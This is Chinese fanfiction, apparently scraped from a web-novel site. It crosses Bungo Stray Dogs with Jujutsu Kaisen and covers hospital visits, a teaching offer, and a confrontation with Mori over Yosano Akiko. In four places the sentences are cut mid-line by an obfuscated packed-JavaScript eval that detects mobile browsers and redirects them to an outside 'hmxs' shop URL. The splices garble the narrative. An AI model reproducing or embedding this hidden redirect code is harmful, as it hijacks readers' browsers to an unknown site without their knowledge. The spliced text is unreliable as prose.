“小伙子你很有眼光啊,这家品牌的锅一向不错。”老太太不知道等了多久,搓着手表示,“但是你一个人也用不了两个锅,不如我们拼一下吧?” “拼一下?”间漱还在费力理解,老太太已经热情的拉他到结账的地方。 人类会对抢到促销产品而开心,而贴着买一送一的大红标签的摊位前,围着不少人抢购。 间漱凭借着手长的优势抢到一份,然后在老太太的解释下,才反应过来确实不需要两个锅。 他一手提锅、一手拿盖,两指捏着锅铲,臂弯上挎着新鲜的蔬菜,找到了蹲在路边的乱步。 乱步一眼就看出,某人在忽悠下,将锅的包装袋让给了其他人,所以才沦落成如今的狼狈样子。 在一言难尽的看了片刻后,乱步突然觉得间漱比他还要笨:“家里有锅。” 间漱缓慢的反应过来:“是吗?” “而且锅可以用很久。” 所以这一个锅也不是必需品。 虽然嘴上嫌弃,但乱步还是主动接下拿锅盖的任务。他空出一只手,比对着地图:“不对,好像走反了。” 又一次绕过眼熟的十字路口,间漱后知后觉的意识到不对。 【哈哈哈哈,间漱也真是心大,让名侦探带路吗?】 【恐怕今天别想回去了,让路痴带路,太有想法了。】 【名侦探是无所不能的!当然,除了认路。】 在那些善意的取笑里,头脑放空的间漱意识到事情的严重性。 他揪住乱步的衣领,直接了当的询问:“要去哪里。” 乱步也没有客气,直接在地图上指出:“这里。” 找到路并不困难,只看过一遍,间漱就将地图完整记住。 抵达目的地后,来往的行人好像多了起来。他们脸上都带着挥之不去的愁云,但也有往外走的人,脸上带着轻松。 【呜呜,之前什么都不懂的乱步,现在独立完成的第一件事,居然是料理父母的后事吗?】 【太难过了,明明感觉昨天还是幸福一家人的。】 【默哀,不过比起原著,这次最起码还有间漱陪伴他,度过这段困难的时间。】 间漱没有过类似的经验,也很少在书籍或者电视上看到这方面的科普。 所以他只能跟着乱步,在这家医院里摸索着。用了很久,在一位好心护士的提醒下,他们站在一间病房前。 热情的护士看着两人大包小包,于是会意询问:“是探望病人带的礼物吗?交给我就好了。” 护士接过大包小包的东西,一打开却傻了眼。因为里面是锅的大小零件,还有新鲜的蔬菜。 看望病人会带这些吗?? 病房门推开,间漱在骤然多起来的弹幕中,下意识拽住了乱步的衣领。 乱步有些心虚的一缩脖子,然后做贼心虚的解释:“明明是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583677|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没问!” 里面是双人的病房,躺在床上的人靠着枕头,对来的两人笑笑:“你们来了。” 菊的脸色有些苍白,但还是第一时间微笑。繁男的一只脚和一只手都打上石膏,此时正笨手笨脚的,将装满水的杯子送上。 【我靠,我靠!这是什么发展?!】 【居然不是处理后事?不对……好像乱步确实没有明说过。】 【可恶乱步肯定看出来间漱的想法了,故意不解释是恶趣味吗?】 【被哄骗的不止有间漱啊,还有我们、我们啊!吓死了。】 【原来还有救,太好了。另外名侦探真是太坏了,罚他一天不许吃零食。】 间漱和那些反应剧烈的弹幕一样,因为面前的刺激而愣在原地。 人会死而复生?不,只不过是被弹幕误导而先入为主而已。 这种时候应该是什么表情,什么反应?间漱又有些束手束脚的感到困惑。 像是看穿那个苦恼的表情,菊坐起身招了招手:“间漱。” 间漱走了过去,然后被那双温暖的手握住。他无师自通的,又说了句:“我回来了。” “欢迎回来。”菊轻笑一声,给乱步一个眼神,“看来是乱步忘记告诉你了,不过没关系,不用太担心我们。” 被繁男按着在病床边坐下后,间漱听菊和繁男说了这段时间发生了什么。 “只是一起比较难缠的案件,虽然是连环杀人犯,但是有妈妈的帮助我们很顺利的解决了哦。”繁男一脸自豪的表情,然后又挠挠后脑勺,“不过还是要谢谢甚尔,他来的太及时了。” “甚尔?” “是啊。”菊点点头,“这几天也多亏了甚尔的照顾,虽然总是表情很差,但他意外的很会照顾病人。” 【原来如此、原来如此!按照原本的时间线,爸爸妈妈应该会死在这桩案件里。看来是甚尔作为保镖保护了他们,干的漂亮!】 【妈妈说甚尔很会照顾病人……呜呜泪目了,毕竟惠妈之前肯定也常住医院。】 【意难平啊,但是没想到惠妈离开后,甚尔也能有如此信任的人。】 【说是信任——不如说是交易?还记得吗,甚尔说让间漱遵守约定,看样子是宰借爸爸的名号,和他做了什么交易。】 【赞同前面的,毕竟当时间漱作出预言的时候,宰治也是在现场的。】 【一切都解释得通了,不愧是剧本组!话说只有我好奇他们交易了什么吗?】 【不止你一个人好奇。】 间漱一脸茫然,听完繁男和菊的解释,又在弹幕的细细剖析下,才终于恍然大悟。 他会心一笑,并且夸奖道:“甚尔是好孩子。” 繁男不知道想起什么表情奇怪,菊倒是十分接受良好:“当时为了制止失控的车辆,甚尔徒手拦下了汽车,我们很关心他的伤势,所以能拜托间漱邀请他,来家里吃饭作为感谢吗?” 【徒手拦下失控车辆,不愧是天与咒缚。】 【仔细想想,如果爸爸妈妈在那辆车上,现场要不是有甚尔在,他们还真的难做到活下来。】 【甚尔好样的!聪明的宰也好样的!】 终于理解前因后果的间漱放下了心,并且打算好好奖励两个孩子。 只不过另一边,一个没去上学、一个没去上班的两人,齐刷刷的打了个喷嚏。 16.老师的邀请 照顾病人是一件繁琐的事情,干站着的人能做的事情很少,所以他学着别人的样子,拿着苹果仔细削起来。 那场车祸让人猝不及防,不过本以为要丧生其中的司机和夫妻两人,在某人徒手拦下车辆的情况下,得到了救治的机会。 繁男一条腿和胳膊骨折,菊的伤势要更重一点,但卧床两个月也能痊愈。 枯燥无聊的气氛早让乱步忍耐不住,他出门晃悠,惹来麻烦后又连拖带拽找繁男解决问题。 病房里只剩下两人,间漱全心全意和那个红彤彤的苹果较劲,没多久果皮连带着雪白的果肉落进垃圾桶,菊则得到一个坑坑洼洼的“果核”。 她轻笑一声没有介意,然后主动接过小刀,细细演示起来:“这样小心一点,就能削下完整的皮。” 果皮弯弯曲曲连成一线,而果肉得到了最大程度的保留。 间漱拿着完好的苹果,反应过来让病人动手似乎是不正确的。 所以他又上头,坚持将剩下的苹果削完。菊没有阻拦,只是笑眯眯看着。 虽然记得动作和技巧,但圆滑的苹果和小刀实在是不听话。几次三番的折腾下来,床头柜上的盘子里,堆满了氧化的苹果碎块。 “进步很大。”菊点点头评价,“多试试一定能掌握的,至于这些苹果……留给爸爸就好了。” 得到肯定的间漱深吸一口气,他终于削出连贯的果皮,正高兴的时候房门被敲响。 病房门本来就虚掩着,门口的人礼貌的推门进来:“打扰了。” “请进。”菊招呼着,“十分抱歉我现在不便起身,这位先生是……?” 来人提着果篮,一手抱着花束。但那张脸是陌生的,菊很确定自己没有这样一位朋友或亲人。 夜蛾正道咳嗽一声,眼睛看向低着头的间漱:“我听闻二位进了医院,所以特地来探望。” 熟悉的声音让间漱猛得回神,他没想到会在这里看到夜蛾正道,而没想到的不只是他。 【哇塞这么巧?夜蛾老师怎么来了,这个气氛……不像是来探望的,不会是来告状的吧!】 【很显然调查到这些对咒术师并不困难,从态度来看,夜蛾正道也没有交恶的打算。】 【可是爸爸妈妈不知道间漱背地里做的什么,咒术师和诅咒师本就是对立的。】 【并非不知道——】 【哈哈哈,间漱那个紧张的样子,好像被向家长告状的小朋友。】 【不要把什么事都写脸上啊喂!】 在弹幕的提醒下,间漱才慢半拍的意识到事情的不对劲。他一下子握紧手里的小刀,连削出完整苹果的成就感也没有了。 菊很善解人意的开口:“这位先生——是间漱的朋友吗?” 找到台阶的间漱猛猛点头:“就是这样。” 夜蛾正道也看出不对劲,放下礼物的同时解释:“我是太宰先生的同事,听闻这场意外十分担心,所以特地来拜访。” 靠谱的成年人妥帖的问好,甚至还主动解释了间漱这段时间不回家的原因。 不过站在旁边的间漱依旧没有松懈,因为弹幕都说这样的理由,不足以骗过聪明的妈妈。 还好菊并没有明说,她意味深长的点点头,就像是之前第一次听到间漱找到工作时那样,虽然担心但也信任。 漫长的客套时间终于过去,在菊的建议下,间漱送夜蛾正道离开。 两人沉默走着,然后由夜蛾正道主动开口:“抱歉,似乎来的有些唐突,不过想来看看有没有什么能帮忙的。” 憋着一口气的间漱一脸阴沉,他盯着夜蛾正道,好半天憋出第一句话:“我、我家里不知道我干这个。” 【哈哈哈哈,说点人话吧。】 【想这么半天,本来以为要放狠话,没想到只是这样吗?】 【怎么一副失足的可怜娃的样子,啧啧啧。】 莫名苦涩的语气,夜蛾正道一脸愣怔,颇有一种自己是告状那个人的心虚感觉。 “我并没有揭穿的打算。”他连忙解释,“毕竟你的亲人看着只是普通人而已,我来只是想问问,间漱你是不是遇到了困难。” 调查间漱的情报很顺利,但也迷点重重。 他的家庭、住址都能都调查到,但这些都只限于这短短的一个月内。 一个月前他在哪里、又从哪里来,这一切都无从调查。 就好像是一个月前突然出现的那样。 夜蛾正道知道间漱和黑市的联系,也知道他是最近风头正盛的咒灵猎手。 但现在一看,他分明是被“蛊惑”着干了这行。或许他都不知道什么是诅咒师,也不知道自己在做什么。 脑补一些悲惨经历的夜蛾正道不断摇头,然后发出自己的邀请:“如果只是为了钱而做这行的话,那要不要考虑换个职业?” 【喂喂,孔时雨会哭的吧,老师你怎么光明正大撬人呢。】 【拯救失足青年人人有责啊,我投夜蛾正道一票。】 【跟一票,虽然目前来看间漱很混得开,但诅咒师的身份终究是不光明的。】 【虽然诅咒师很带感,但是咒术师那边也很多意难平好吧!】 弹幕纷纷倒戈,齐刷刷变成了“赞同”。间漱省去了思考的功夫,见风向统一他也点点头:“可以考虑。” 夜蛾正道以为面前人略有些不满,所以主动加价:“住处和工作都可以安排,有其他要求也能向辅助监管提。” 从弹幕来看似乎是很不错的选择,间漱交换了联系方式,然后也主动换了称呼:“需要的话我会联系你的,夜蛾老师。” 礼貌的用语让夜蛾正道愣了下,没想到事情会这样顺利,也没想到间漱比想象中的好说话。 “要不是年纪不对,我大概会邀请你来高专就读吧。”夜蛾正道突然轻笑一声,“总觉得你很需要。” 间漱确实很需要,所以他也诚恳回答:“我需要学习的东西还有很多。” “那……要不要来高专。”夜蛾正道好像在等这句话,于是顺其自然的邀请,“虽然高专不收这个年纪的学生,但是很缺一位老师。” 【??怎么变成这样的,我漏看哪一点了。】 【不止你一个人漏看,怎么聊着聊着去当老师了,我还以为是邀请间漱成为咒术师呢。】 【是啊,不对……当老师又不是代表不做任务,这分明是加大了工作量啊!】 【你们就忘记五条老师,又工作又教学生的辛苦了吗?】 【好有道理,原来你居然是这样的夜蛾正道!】 【剥削!这是剥削!虽然咒术师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593773|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来就人少,但我们间漱可不能变成社畜啊!】 间漱并没有弹幕为什么有这么大的反应,因为要学习的东西有太多,所以他对学校这种能学习的地方并不反感。 过程顺利的不同寻常,夜蛾正道不着痕迹的轻叹一声,皱起眉头的同时,又露出意味深长的表情来。 将人送走后间漱没有想太多,而回到病房时繁男和乱步已经回来,两人正互相往对方嘴里塞苹果块。 “回来了?”繁男歪着脖子问了句,然后很自然的接话,“间漱,要不要来些苹果?” “都给你了。”乱步一股脑的,将手里的倒到繁男盘子里,“爸爸不用客气的。” “你这家伙。” 看着间漱沉思的表情,菊放下手里的书:“遇到了很开心的事情?” 间漱也说不准这是不是值得开心的事情,但在菊鼓励的眼神下,他说出自己的疑惑:“夜蛾老师邀请我去高专。” “你这个年纪居然还有学校会收吗,真是了不起。”繁男竖起大拇指,十分赞同道,“那位老师可真是好人啊,不过我也觉得你去学校更好一点,那里能学到很多东西。” 菊并没有立马发表意见,只是将问题抛回去:“那你是怎么想的呢?想去吗。” “我会去。”间漱说出了事实,“因为我看到了。” 他看到了之后,会与弹幕口中的三人组产生联系,只不过当时没想到,会是师生的关系。 “那答案很显然了。”菊微笑着,“我们应该找个时间庆祝一下你入职。” “入职?”繁男慢半拍的意识到不对,“不是去上学吗。” “笨蛋爸爸,他是去当老师啦。”乱步叼着一根棒棒糖,“虽然我也不觉得间漱能做好,但事实就是这样。” 心事被戳穿的繁男咳嗽一声:“嘛,我也不是不相信间漱啦。” 只不过从认识到现在,间漱在他的印象里还是“孩子”,还是需要教导、需要被照顾的那个。 心事解决的间漱放下心,然后又向菊学习怎么切兔子形状的苹果。 繁男和乱步一脸苦涩,后者皱着脸抗拒道:“今天是一定要吃苹果吃到吐吗?” “哈哈哈,”繁男摸着下巴也十分苦恼,然后提出解决意见,“不如把削完皮的苹果榨汁吧?” “不要!苹果汁我也不要!” 乱步正积极拒绝的时候,突然响起的铃声打断了间漱的坚持。 他放下手里的东西接通了电话,来电的人是幼稚园的老师。 “您好太宰先生,打扰您了,想问问太宰小朋友连续请假好几天了,身体现在有没有好一点?” 间漱不知道如何回答,因为他还在理解这句话的意思。 “如果方便的话,能让我们上门拜访吗?我们想关心一下小朋友的状态。” 老师很有礼貌的询问完,挂断电话前又隐晦的提醒,家长要多注意孩子的身体情况,不然怎么这么久了生病还没有痊愈。 完全不知道太宰治请假的间漱愣在原地,直到电话挂断还在想,出门前明明看着好好的。 留在医院的夫妻两人也不知道发生了什么,只有乱步在电话接通的时候就缓慢的挪向门口。 “乱步。”菊开口喊道,后者立马回答,“我什么都不知道!” 17.友善的朋友 找人是毫无头绪,而更没有头绪的是又丢了一个。 得知太宰治请假的消息,间漱的想法是要将人找到,然后按照弹幕说的,实行身为爸爸的权力——狠狠的教训他。 但要去哪里找人,是十分苦恼的问题。菊推测太宰还不知道暴露的事情,只需要等到晚上大概就会回来。 但间漱等不及,所以在繁男的建议下,带上将功补过的乱步,出门寻找起来。 间漱尝试联系孔时雨询问甚尔的消息,却得知后者今天也缺席了一次任务。 一个翘班一个逃课……身为两个孩子的爸爸,间漱深深感觉自己需要做些什么。 顺着乱步的提示,两人来到一个热闹但偏僻的街道。这里鱼龙混杂,错落的建筑建立在一片废墟之上。 那是一片充满毁灭痕迹的废墟,直到现在土地上也留存着可怖的死亡气息。 这里是擂钵街,曾经有过一场巨大的爆炸,建筑于坑洞之中垒起,是著名的三不管地带。 间漱觉得这样的地方不适合孩子的身心,更重要的是这里混杂的气味,让他有些分辨不清。 四处可见咒灵,每个人的脸上都是压抑的表情,那些打量的视线太过明晃晃。 【哇哦是双黑梦开始的地方,打卡留念!】 【现在已经初具未来混乱的雏形了,不过擂钵街刚形成不久,多逛逛的话是不是能捡到我们小中也啊?】 【期待期待!还没有所属地的中也,当然也要收入囊中才对。】 又出现一个不认识的名字,间漱默默记在心里,然后脸上苦恼的表情更明显。 【所以乱步到底去哪里了?救救我们可怜孩子吧,间漱已经问了好多人,因为看着不好惹而被更多人注意到了。】 【所以到底是谁建议带名侦探出门找人的啊?哈哈哈,现在好了吧把自己也丢了。】 弹幕还在嘲笑名侦探的路痴属性,只有间漱因为没得到任何有用建议,而沮丧的想将这片土地翻过来寻找。 从他和乱步踏入这片街道起,间漱就已经很谨慎的一边找人,一边提防那些坏人。 但腿长在人身上,乱跑的人不过一眨眼就没了踪迹。间漱不指望乱步能认识回来的路,他只希望后者不要在短时间内惹来麻烦。 询问路人无果,间漱放弃了没有效率的方式。他轻盈跃上房屋的顶,飘起的黑色长发无风自动。 细细的发丝像外延伸,分作更细、更长的“手”,如同蛛网一般快速笼罩这片土地。 被“窥视”的感觉让行走在路上的人停留,年轻的男人若有所思的抬头,眼睛追随着那黑色的丝线转动。 下一秒随着他唇角勾起,突然出现的金发少女手持武器,利落而精准的斩落那缕细丝。掉落在地上的东西轻飘飘的,捻在手里时是柔顺的触感。 那是一缕头发,随着从本体上剥离,迅速的失去色泽如同水一般融化消失。 男人捻了捻手指,轻笑一声:“看来发现了有趣的东西呢,爱丽丝。” 远处的巷子里,随着噗通一声重物落地,呲牙咧嘴的男人嚷嚷:“孩子?什么孩子?靠,解释啊臭小鬼,我们不是一伙的吗?” “你认识他吗?”一句询问过后,是另一个孩子冷冰冰的声音,“我不认识这个该死的家伙。” 穿着破烂的孩子,看着比太宰治大不了多少。但他身上伤痕累累,鼻血被擦了满脸。 间漱没找到太宰,也没找到走丢的乱步,但他看到了一个正被成年人殴打的孩子。 从孩子口中听到否认的答案后,间漱略作犹豫然后点点头。一阵恐怖的咔喳声后,愤愤不平的男人七窍流血、身体以不自然的角度扭曲。 那个孩子愣住了,花了几秒钟确定虐待自己的男人死了后,又用复杂而警惕的目光看着那个格格不入的男人。 没多久他小心的后退,然后头也不回的跑了。 真是奇怪,明明是他说这个男人该死,为什么真的死了后,又一脸惊恐? 间漱不理解那个孩子的想法,只是花了些时间刨坑将人埋了进去。 尸体刚落入坑底,间漱就若有所察的抬头。 站在不远处的男人嘴角带着淡淡的微笑,此时正侧头看他。 他现在算是抛尸被发现吗?啊……对于人类来说,杀人好像是很严重的过错。 但弹幕却纷纷说他干的漂亮,说这种虐待孩子无恶不作的男人就应该去死。 得到弹幕认可的间漱放心了,他坦荡的迎上男人的打量,思索着要不要灭口。 男人好像看穿他的想法,摆了摆手说着:“在这种地方时时刻刻都会有人死去,先生您居然愿意为陌生人收尸,还真是心善。” 三两句话就撇开了他杀人的真相,间漱对这个说话好听的男人多出几分好奇。 不过弹幕不是这样觉得的。 【没认错的话——这是狡猾的老狐狸、杀人不眨眼的假医生吧?!】 【森首领听到你这样的话一定会很开心的,不过现在还很年轻嘛。】 【年轻就是好,看着也没以后那么讨人厌了。】 【但是依旧没办法忽视,他以后会成为压榨手下的邪恶boss!】 【睁大眼睛看看啊间漱,这可是未来要压榨你宰的上司。】 上司?原来会和宰治有这层关系吗?间漱不知道弹幕为什么那么多负面评价,但还是因为未来的这层关系,而答应了暂时同行的提议。 不过弹幕也时时刻刻提醒着,让他小心这狡猾的狐狸。 “这位先生是在找人吗?”森鸥外不着痕迹的询问,间漱则有些意外,“你怎么知道?” “哈哈,来这里的无非就是那两种,不是来找人、就是来找东西。” “哦哦。”间漱露出原来如此的表情,“我确实在找人。” 名为森鸥外的男人,热情又不唐突的搭话,而且还十分友善的提议要帮忙,间漱突然有一种他是好人的感觉,但弹幕不这样觉得。 在不知不觉间,他说出了自己的苦恼:“我的孩子……总是很叛逆。” “是吗?翘课来这样危险的地方,作为爸爸你一定很担心吧。”森鸥外不着痕迹的询问,“不过我没想到,你这么年轻居然就有两个孩子了吗?” “不过或许正是因为年轻,所以在这件事上会缺乏经验。求助不可耻,我觉得间漱你可以多试试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604153|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向其他人请教经验。” 说的很有道理,间漱也是这样觉得,并且因为森鸥外对他孩子的夸赞,而对面前人生出几分好感。 “实不相瞒,这段时间我也刚好在带一个年纪差不多的孩子。”说着说着,森鸥外一副苦恼的模样,“我也正巧很困惑,不知道要怎么教导她比较好,如果有机会的话,能不能交个朋友,日后好互相交流经验呢?” 两人很自然的交换了联系方式,然后又继孩子这个话题,谈论到其他的更多的事情。 不过短短同行的一路,间漱已经说到要转行换一个工作的话题。 对此森鸥外有些遗憾,不过还是说:“是吗,我难得遇到你这样聊得来的朋友。还想说如果没有去处的话,我这里刚好有个好去处呢。” 【并非好去处(X)】 【不要哇,不要诓骗我们的笨孩子,怎么感觉间漱当真了呢?】 【没办法,森鸥外还是太会拿捏人心了。】 在弹幕的一再强调下,间漱好像清醒过来。面前人依旧是微笑着,以恰到好处的分寸说道:“不过也没关系,以后要是有需要一个去处的话,间漱可以来找我。” “毕竟像你这样对孩子负责的人,一定是很靠谱的同事和伙伴,我很期待能共事的那天。” 轻飘飘的感觉——间漱摸了摸下巴,诚恳的说出自己如今的想法:“森先生还真是好人。” 如此直白的话就连森鸥外也愣了一下,然后他哈哈大笑起来:“能得到你的认可,我十分荣幸。” 新认识的朋友不仅说话好听,办事也很有效率。在帮忙下,间漱在擂钵街的边缘,找到了招猫逗狗的乱步。 被找到的后者浑身一僵,下意识的解释:“我才没有乱走,明明是间漱你乱跑才对。” 恶人先告状——弹幕是这样说的,间漱也没有生气,只是抬手拍了拍乱步肩膀,然后主动介绍:“这是我新认识的朋友。” 看着那个笑眯眯的男人,乱步脸上闪过狐疑:“新朋友?不过这么点时间,你哪里找的新朋友?” 他上下打量那个名为森鸥外的男人,然后眉头越皱越紧:“不对劲,哪里会有这么巧的事情,你刚刚做完坏事就遇到了帮忙隐瞒的人?” 乱步直言不讳的指出:“这个人明明是另有所图才对!” 间漱眨了眨眼睛,又一次解释:“可是森鸥外是我第一个朋友。” 是第一个自称他朋友、也愿意和他交朋友,甚至能够请教到怎么养孩子的“好人”。 【第一个】这个形容词的份量太重了,看着间漱那个表情,原本坚定的乱步也有些迟疑了。 他不想怀疑间漱的眼光,但因为看不透森鸥外的想法,所以才心生怀疑。 森鸥外没有特地解释,只是笑笑后转移了话题:“乱步吗?一看就是聪明的好孩子,我家孩子刚好也在附近,要不要去认识一下?” 说完他又强调:“她在附近一家很有名的烘焙店帮工,那家的红豆糕很不错,要不要去试试?” 乱步咽了咽口水,十分心动:“要去!” 于是几人转变了目标,而原本那些微弱的敌意,也随着目标一致而消失。 18.冲突与矛盾 烘烤的麦香传开老远,那家附近有名的蛋糕店里,刚送走一波客人。 里面忙碌的店主看到走进的几人,立马热情地打了个招呼:“是森先生啊,晶子她马上就准备好了,麻烦你特地来接一趟了。” 森鸥外笑笑,十分自然的回答:“应该的,毕竟还是孩子,我不放心她一个人。” 乱步嘟囔一声,然后兴趣很快被店里的招牌吸引。听到森鸥外请客的话,他没有客气点了一大串。 靠近玻璃窗的那侧,桌子上陆续端上新鲜出炉的甜点。 在乱步沉浸其中的时候,间漱也没有走神,他在看那些弹幕,然后稍微了解一点,那位名为与谢野晶子的孩子。 正想着的时候,一个留着短发的女孩子风风火火闯了进来。 “阿姨,东西已经收拾好了。”与谢野晶子掀开门帘,看到了店里的客人。 她顿时变得有些拘谨,就那样站在原地:“森先生。” “哎呀,都最后一天了不用你收拾。”店主熟络的招呼,“都要多谢这位先生的引荐,你才能有出人头地的机会,以后可千万要听话啊。” 小姑娘站着不动,任由慈祥的阿姨整理她原本就不多的行李。 她任由其他人打量,但那赤/裸裸的目光,还是让与谢野晶子觉得不习惯。 “看什么看?”她终于找到自己的声音,有些恼怒的嗔怪,“我脸上、脸上又没有东西。” 乱步直勾勾看着那张脸,片刻后露出恍然大悟的表情。 森鸥外放下杯子,特地请咳一声:“晶子,这位是我的朋友,想要介绍你们认识一下。” 与谢野晶子压下脾气,然后又礼貌的弯弯腰:“你们好。” 间漱也点头算作回应,他看到乱步那个欲言又止的表情,但此时并没有分神理会。 因为弹幕密密麻麻的飘过,感叹之余又在警醒着什么。 【可爱的小姑娘,现在的性格多活泼可爱啊,可惜马上就要被森鸥外这个家伙带走,去战场上受磋磨去了。】 【呜呜不要啊,战场上那样残酷的地方,哪是这个年纪的孩子应该去的。】 【带来死亡的天使啊~如果可以的话,希望她永远是快乐的天使。】 【因为能治疗别人的异能,所以被可恶的森鸥外盯上了,拥有这样的能力明明是幸运的,但偏偏因为这个家伙,让小晶子留下了心理创伤。】 【说起来也很巧了,原著带走晶子的是乱步,今天他也在场诶。】 【希望名侦探能看穿森鸥外的阴谋!一定要救救她!】 弹幕还在纷纷吐槽,其中不乏一些惋惜和义愤填膺的话。 间漱的表情渐渐冷了下去,看向森鸥外的眼神也多出几分深意。 战场?不停的治愈受伤快死的人,然后因为看过太多血腥而留下心理创伤? 看到弹幕的剧透,间漱觉得这些残酷的事情,根本就不应该出现在这个年纪的孩子身上。 与谢野还小,她恐怕根本没有判断的能力。而应该对此负责的成年人,居然还笑得出来?! 森鸥外察觉到气氛冷了下来,他有些讶异但表面不显:“如果没有其他事情的话,我要先送晶子去新的住处了,以后有机会的话再约吧。” 说完他特地停顿片刻,然后又失笑补充:“不过有些可惜,接下来很长一段时间,我大概都会处于忙碌当中,期待下次与你的再见。” 【毕竟要去封闭的战场上,肯定是联系不上。】 【可恶,战场那种地方只有心理变态的人,才会期待在那上面常驻吧。】 间漱从来没有怀疑过弹幕,所以现在他也抬手将人拦下:“等等。” 他站起身,手撑着桌子:“你要带她去哪里?” 乱步咬着勺子,表情变得满意。因为他发现,有些时候间漱表现的很愚蠢,但总能在关键时刻反应过来。 突如其来的问题让人愣住,与谢野晶子想到那个未来,下意识有些心里没底。 “只是一个适合她、能发挥她才能的地方而已。”森鸥外眼中短暂闪过暗色,然后很快表情如常的解释,“那里很需要她。” “是战场上吗。”间漱直白道,并且报出那个地名,“常暗岛?” 这下就连森鸥外都难掩诧异了,毕竟突然出现的常暗岛,目前还是只有少部分人知道的机密。 他确实要带与谢野晶子去那个地方,但这种情报不应该被外人知晓。 乱步冷笑一声,也直言不讳的指出:“喂喂笨蛋,他只是想利用你的能力,从而创造一只不死军团而已。” 森鸥外下意识握进身侧的手,他眯着眼看着那个机灵的小鬼,反应过来乱步的特殊。 不过更让他狐疑而奇怪的,是间漱突然变换的态度。森鸥外识人无数,自觉没那么容易失误。 在他的眼里,间漱分明是一个有些天真过头的蠢货,容易被骗、三两句就能拉近关系。 但好像只那么短短几秒钟,间漱的态度就截然不同,他好像变得“聪明”而“敏锐”。 “为什么要带她去那样的地方?”间漱依旧直接询问,“她还是孩子,无论拥有什么样的能力,都不应该去那么危险的地方。” “难道你不知道吗?你是成年人,不应该让她去这样的地方冒险。” 依旧是很天真的话,森鸥外觉得无奈的同时,又觉得有些纳闷:“你似乎误解了什么?这已经是安排好的事情。” 间漱本以为森鸥外是没有养孩子的经验,所以特地好心提醒。 但是森鸥外只是耸耸肩膀,很胜券在握的说道:“这件事晶子也知情,她是自愿的。” “对吧?晶子也希望能帮到更多人的对吧?” 问题被抛了过来,但与谢野晶子只是不安的攥着衣角。店主已经离开,没有熟人在场她更觉得慌乱。 “是的。”最后与谢野晶子还是点了点头,有些不确定道,“我都知情,如果……如果有地方需要我的能力的话……” 【呵呸!骗人的鬼!他只是把人哄骗上去,之后要就不是与谢野能选择的了,不然也不会沦落到崩溃的地步。】 【就是啊!小孩子哪里有判断的能力,不过是因为无依无靠,加上森鸥外是军方的人,所以不得不这样选择而已。】 【赞同赞同,话说一开始还以为,间漱是被森鸥外友善的表面欺骗,现在一看果然是陪他演戏吗?】 【不像演的——不过也正因为这样真实,就连森鸥外也放松了警惕吧?不然怎么看都不会带间漱来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611565|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里。】 【没想到森鸥外也有被算计的一天,干的漂亮!】 在弹幕的分析下,间漱压抑的情绪达到极点。他失望的看着面前的人,明明是感觉森鸥外很会养孩子,才愿意相信他的。 但正因为是这样,被背叛的愤怒更让人无法自控。 “她还是孩子。”间漱的声音冷冰冰,眼睛微眯看着面前的人,“她无法为自己的选择负责,但作为成年人,你应该负责引导而不是算计她。” 那是很危险的感觉——森鸥外摩挲着指尖,有些后悔轻易的相信这人伪善的假象。 能骗过他的人,果然不简单。 与谢野晶子不知道那位先生为什么生气,但是她知道是为了她而这样,所以立马慌乱的阻止:“等等!请不要动怒,我是知情并且同意的!” 她的答案好像更坚定了,间漱看向那个懂事的孩子,收敛了坏脾气,转而一字一句道:“你还是孩子。” 这是一句简单的话,好像没有什么特别的需要加以理解的深意。 但与谢野晶子还是感觉鼻尖一酸,从父母去世后,所有的亲戚都只告诉她,要学会懂事。 “孩子没有判断是非的能力,他们需要父母加以正确的引导。”间漱又转过头,对着森鸥外背出教育书上的文字,“他们可以犯错,也应该被包容脾气。” “他们有自由选择的权力,而不用父母代替他们做出选择。” “父母要尊重孩子。” 一字一句都带着无比坚定的信念,森鸥外突然有一种后背发凉的感觉。 哪怕是巧舌如簧,在这种恐怖的气氛下,他也说不出圆滑的解释。 